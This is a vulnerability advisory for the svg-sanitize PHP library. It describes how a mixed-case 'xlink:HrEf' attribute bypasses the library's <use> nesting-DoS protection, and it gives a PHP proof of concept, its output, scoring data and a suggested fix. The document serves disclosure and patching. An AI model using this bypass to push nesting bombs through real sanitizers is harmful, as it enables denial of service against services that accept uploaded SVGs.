GHSA-M9XH-6747-9R6F
Vulnerability from github – Published: 2026-10-08 19:41 – Updated: 2026-10-08 19:41Summary
Resolver::processReferences() collects <use> elements with the XPath predicate use[@href or @xlink:href], which is case sensitive. A <use> element written as xlink:HrEf is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. Sanitizer::cleanHrefAttributes() then runs later in the same pass and rewrites xlink:HrEf back to the canonical xlink:href. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing.
This is the mirror image of CVE-2025-55166: that fix made href value checking case insensitive, but the <use> reference graph still selects nodes case sensitively.
Where it is
src/ElementReference/Resolver.php:97-118, the case-sensitive node selection:
$useNodeName = $this->xPath->createNodeName('use');
foreach ($this->subjects as $subject) {
$useElements = $this->xPath->query(
$useNodeName . '[@href or @xlink:href]',
$subject->getElement()
);
src/Sanitizer.php:479-504, the normalization that happens afterwards and makes the attribute live again:
// in case the attribute name is `HrEf`/`xlink:HrEf`, adjust it to `href`/`xlink:href`
if (!in_array($attribute->nodeName, $this->allowedAttrs, true)
&& in_array(strtolower($attribute->nodeName), $this->allowedAttrs, true)
) {
$element->removeAttribute($attribute->nodeName);
$element->setAttribute(strtolower($attribute->nodeName), $attribute->value);
}
Ordering is the whole bug. Sanitizer::sanitize() builds the resolver graph first and normalizes attribute casing second, so the graph is built against names the sanitizer is about to change.
Impact
Anyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project's own tests/data/useDosTest.svg nesting structure, intact, with canonical xlink:href attributes, which is exactly the input the useNestingLimit machinery exists to defuse.
Proof of concept
Against a clean clone of tag 0.22.0. The only change to the input is rewriting xlink:href to xlink:HrEf in the project's own DoS fixture.
<?php
spl_autoload_register(function ($class) {
$p = 'enshrined\\svgSanitize\\';
if (strpos($class, $p) !== 0) return;
$rel = str_replace('\\', '/', substr($class, strlen($p)));
$f = __DIR__ . '/svgsan/src/' . $rel . '.php';
if (file_exists($f)) require $f;
});
$orig = file_get_contents(__DIR__ . '/svgsan/tests/data/useDosTest.svg');
$mut = str_replace('xlink:href', 'xlink:HrEf', $orig);
function run($label, $input) {
$s = new \enshrined\svgSanitize\Sanitizer();
$s->removeRemoteReferences(true);
$out = $s->sanitize($input);
echo "[$label]\n";
echo " output <use count : ", substr_count($out, '<use '), "\n";
echo " output xlink:href : ", (strpos($out,'xlink:href')!==false?'YES':'NO'), "\n";
echo " output xlink:HrEf : ", (strpos($out,'xlink:HrEf')!==false?'YES':'NO'), "\n";
}
run('canonical xlink:href (control)', $orig);
run('mixed-case xlink:HrEf (attack)', $mut);
Observed on PHP 8.5.9:
orig use count: 201
mutated input has xlink:HrEf: YES
[canonical xlink:href (control)]
output <use count : 0
output xlink:href : NO
output xlink:HrEf : NO
[mixed-case xlink:HrEf (attack)]
output <use count : 201
output xlink:href : YES
output xlink:HrEf : NO
201 to 0 on canonical input, 201 to 201 on mixed-case input, and the output attribute name comes back canonical either way. To be precise about what I measured: I measured the nullification being skipped and the attribute being re-canonicalized. I did not measure renderer memory or CPU on the resulting file, so the downstream cost is whatever you already assign to useDosTest.svg.
Suggested fix
Stop matching attribute names case sensitively when the reference graph is built. Either select every descendant use and resolve the href in PHP with a case-insensitive local-name lookup (an extension of Helper::getElementHref() at Helper.php:10-19 is the smallest change), or move the cleanHrefAttributes() canonicalization so it runs before $this->elementReferenceResolver->collect() rather than after, so the resolver only ever sees href and xlink:href. The second option also removes the general class of bug where the graph and the cleaner disagree about a node's identity.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.0"
},
"package": {
"ecosystem": "Packagist",
"name": "enshrined/svg-sanitize"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107381"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T19:41:10Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`Resolver::processReferences()` collects `\u003cuse\u003e` elements with the XPath predicate `use[@href or @xlink:href]`, which is case sensitive. A `\u003cuse\u003e` element written as `xlink:HrEf` is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. `Sanitizer::cleanHrefAttributes()` then runs later in the same pass and rewrites `xlink:HrEf` back to the canonical `xlink:href`. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing.\n\nThis is the mirror image of CVE-2025-55166: that fix made href *value* checking case insensitive, but the `\u003cuse\u003e` reference graph still selects nodes case sensitively.\n\n## Where it is\n\n`src/ElementReference/Resolver.php:97-118`, the case-sensitive node selection:\n\n```php\n$useNodeName = $this-\u003exPath-\u003ecreateNodeName(\u0027use\u0027);\nforeach ($this-\u003esubjects as $subject) {\n $useElements = $this-\u003exPath-\u003equery(\n $useNodeName . \u0027[@href or @xlink:href]\u0027,\n $subject-\u003egetElement()\n );\n```\n\n`src/Sanitizer.php:479-504`, the normalization that happens afterwards and makes the attribute live again:\n\n```php\n// in case the attribute name is `HrEf`/`xlink:HrEf`, adjust it to `href`/`xlink:href`\nif (!in_array($attribute-\u003enodeName, $this-\u003eallowedAttrs, true)\n \u0026\u0026 in_array(strtolower($attribute-\u003enodeName), $this-\u003eallowedAttrs, true)\n) {\n $element-\u003eremoveAttribute($attribute-\u003enodeName);\n $element-\u003esetAttribute(strtolower($attribute-\u003enodeName), $attribute-\u003evalue);\n}\n```\n\nOrdering is the whole bug. `Sanitizer::sanitize()` builds the resolver graph first and normalizes attribute casing second, so the graph is built against names the sanitizer is about to change.\n\n## Impact\n\nAnyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project\u0027s own `tests/data/useDosTest.svg` nesting structure, intact, with canonical `xlink:href` attributes, which is exactly the input the `useNestingLimit` machinery exists to defuse.\n\n## Proof of concept\n\nAgainst a clean clone of tag `0.22.0`. The only change to the input is rewriting `xlink:href` to `xlink:HrEf` in the project\u0027s own DoS fixture.\n\n```php\n\u003c?php\nspl_autoload_register(function ($class) {\n $p = \u0027enshrined\\\\svgSanitize\\\\\u0027;\n if (strpos($class, $p) !== 0) return;\n $rel = str_replace(\u0027\\\\\u0027, \u0027/\u0027, substr($class, strlen($p)));\n $f = __DIR__ . \u0027/svgsan/src/\u0027 . $rel . \u0027.php\u0027;\n if (file_exists($f)) require $f;\n});\n$orig = file_get_contents(__DIR__ . \u0027/svgsan/tests/data/useDosTest.svg\u0027);\n$mut = str_replace(\u0027xlink:href\u0027, \u0027xlink:HrEf\u0027, $orig);\n\nfunction run($label, $input) {\n $s = new \\enshrined\\svgSanitize\\Sanitizer();\n $s-\u003eremoveRemoteReferences(true);\n $out = $s-\u003esanitize($input);\n echo \"[$label]\\n\";\n echo \" output \u003cuse count : \", substr_count($out, \u0027\u003cuse \u0027), \"\\n\";\n echo \" output xlink:href : \", (strpos($out,\u0027xlink:href\u0027)!==false?\u0027YES\u0027:\u0027NO\u0027), \"\\n\";\n echo \" output xlink:HrEf : \", (strpos($out,\u0027xlink:HrEf\u0027)!==false?\u0027YES\u0027:\u0027NO\u0027), \"\\n\";\n}\nrun(\u0027canonical xlink:href (control)\u0027, $orig);\nrun(\u0027mixed-case xlink:HrEf (attack)\u0027, $mut);\n```\n\nObserved on PHP 8.5.9:\n\n```text\norig use count: 201\nmutated input has xlink:HrEf: YES\n\n[canonical xlink:href (control)]\n output \u003cuse count : 0\n output xlink:href : NO\n output xlink:HrEf : NO\n[mixed-case xlink:HrEf (attack)]\n output \u003cuse count : 201\n output xlink:href : YES\n output xlink:HrEf : NO\n```\n\n201 to 0 on canonical input, 201 to 201 on mixed-case input, and the output attribute name comes back canonical either way. To be precise about what I measured: I measured the nullification being skipped and the attribute being re-canonicalized. I did not measure renderer memory or CPU on the resulting file, so the downstream cost is whatever you already assign to `useDosTest.svg`.\n\n## Suggested fix\n\nStop matching attribute names case sensitively when the reference graph is built. Either select every descendant `use` and resolve the href in PHP with a case-insensitive local-name lookup (an extension of `Helper::getElementHref()` at `Helper.php:10-19` is the smallest change), or move the `cleanHrefAttributes()` canonicalization so it runs before `$this-\u003eelementReferenceResolver-\u003ecollect()` rather than after, so the resolver only ever sees `href` and `xlink:href`. The second option also removes the general class of bug where the graph and the cleaner disagree about a node\u0027s identity.",
"id": "GHSA-m9xh-6747-9r6f",
"modified": "2026-10-08T19:41:10Z",
"published": "2026-10-08T19:41:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-m9xh-6747-9r6f"
},
{
"type": "WEB",
"url": "https://github.com/darylldoyle/svg-sanitizer/commit/2dff6628314de8519155b7feb218bbe132785757"
},
{
"type": "PACKAGE",
"url": "https://github.com/darylldoyle/svg-sanitizer"
},
{
"type": "WEB",
"url": "https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "svg-sanitizer: Mixed-case xlink:HrEf skips the `\u003cuse\u003e` nesting-DoS check in Resolver::processReferences"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.